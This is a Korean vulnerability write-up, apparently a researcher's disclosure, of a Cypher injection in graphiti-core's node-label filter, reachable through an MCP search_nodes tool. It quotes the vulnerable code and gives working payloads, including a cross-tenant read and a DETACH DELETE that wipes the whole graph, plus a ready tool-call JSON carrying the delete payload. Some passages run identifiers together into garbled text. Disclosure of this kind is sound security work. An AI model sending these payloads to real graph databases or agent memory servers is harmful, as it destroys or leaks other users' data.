
Cypher 인젝션 — graphiti-core(getzep/graphiti)의 비위생화된 node_labels를 통한 취약점 — CVSS 8.1
심각도: 높음 (CVSS 8.1)
CWE: CWE-943 — 데이터 쿼리 로직의 특수 요소 부적절한 중화
영향 범위: graphiti-core <= 0.28.1 (pip)
수정 버전: 0.28.2
권고: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
graphiti-core는 사용자가 제공한 노드 레이블 문자열을 |로 결합하고 이를 원시 쿼리에 연결하여 Cypher WHERE 절을 구성합니다. 공격자는 임의의 Cypher 연산자를 주입하고, 모든 테넌트의 모든 그래프 노드에서 데이터를 유출하거나 전체 그래프를 삭제할 수 있습니다 — 체인 어디에도 매개변수화나 검증이 없습니다.
저는 awesome-mcp-servers 목록의 MCP 서버 저장소를 체계적으로 스캔하면서, LLM 에이전트를 데이터베이스 백엔드에 연결하는 모든 프로젝트에 집중했습니다. Graphiti는 AI 에이전트의 메모리 계층으로 자리 잡고 있어서 눈에 띄었습니다 — 가치가 높은 표적이었죠.
그래프 데이터베이스에 대한 제 스캔 패턴은 간단합니다: , 또는 레이블 연결이 포함된 f-문자열을 grep하는 것입니다. 의 줄이 즉시 눈에 들어왔습니다 — Cypher 쿼리로 직접 들어가는 원시 문자열 연결이었습니다. 해당 변수는 MCP 도구 핸들러의 에서 검증 없이 전달되었습니다.
MATCHWHEREsearch_filters.py'n:' + node_labelsentity_types표준 인젝션 이상으로 흥미로웠던 점: Cypher의 WITH 절을 사용하면 WHERE 컨텍스트를 벗어나 완전히 새로운 파이프라인을 시작할 수 있습니다. 따라서 )는 괄호로 묶인 레이블 표현식을 닫고, WITH n은 새 절로 전환하며, //는 원래 쿼리의 나머지를 조용히 제거합니다. 단일 페이로드로 전체 그래프에 접근할 수 있습니다.
독립 실행형 Python 스크립트에서 정확한 로직을 재현하여 10분 만에 확인했고, DETACH DELETE가 모든 노드를 삭제하는 것을 검증한 후 GHSA 보고서를 작성했습니다.
파일: graphiti_core/search/search_filters.py, 91–92행 및 134–135행
# 취약한 코드 — 소스에서 정확히 복사
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter는 이후 Cypher WHERE 절에 삽입됨
진입점: mcp_server/src/graphiti_mcp_server.py, 441행
search_filters = SearchFilters(
node_labels=entity_types, # 사용자 입력이 검증 없이 직접 전달됨
)
entity_types 매개변수는 MCP search_nodes 도구 호출에서 쿼리 빌더로 직접 흐릅니다. Neo4j와 FalkorDB 백엔드 모두 영향을 받습니다. Kuzu 백엔드는 매개변수화된 쿼리를 사용하므로 영향을 받지 않습니다.
node_label_filter 값(n:Label1|Label2)은 다음과 같이 Cypher 쿼리에 삽입됩니다:
WHERE (n:Label1|Label2) AND ...
레이블이 |로 결합되고 호출자에 의해 괄호로 묶이기 때문에, 공격자는 )로 표현식을 닫고 새 Cypher 절을 주입하기만 하면 됩니다. // 주석 연산자는 원래 쿼리의 나머지를 제거합니다.
# search_filters.py 91-92행의 정확한 로직
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# 정상
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# 유출: 모든 그룹의 모든 노드 읽기
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# 전체 Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# `)는 WHERE를 닫고, WITH는 새 파이프라인을 시작하며, //는 나머지를 제거함
# 삭제: 전체 그래프 삭제
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
MCP 도구 호출을 통한 공격:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_id 네임스페이스의 모든 노드/관계 읽기DETACH DELETE로 전체 그래프 삭제group_id 필터는 주입 가능한 레이블 필터 이후에 적용됩니다 — WITH 절을 주입하면 이를 완전히 우회합니다패치된 버전은 삽입 전에 영숫자 문자 허용 목록에 대해 노드 레이블을 검증하며, 전체 텍스트 검색 경로는 group_id 값에 매개변수화된 쿼리를 사용합니다.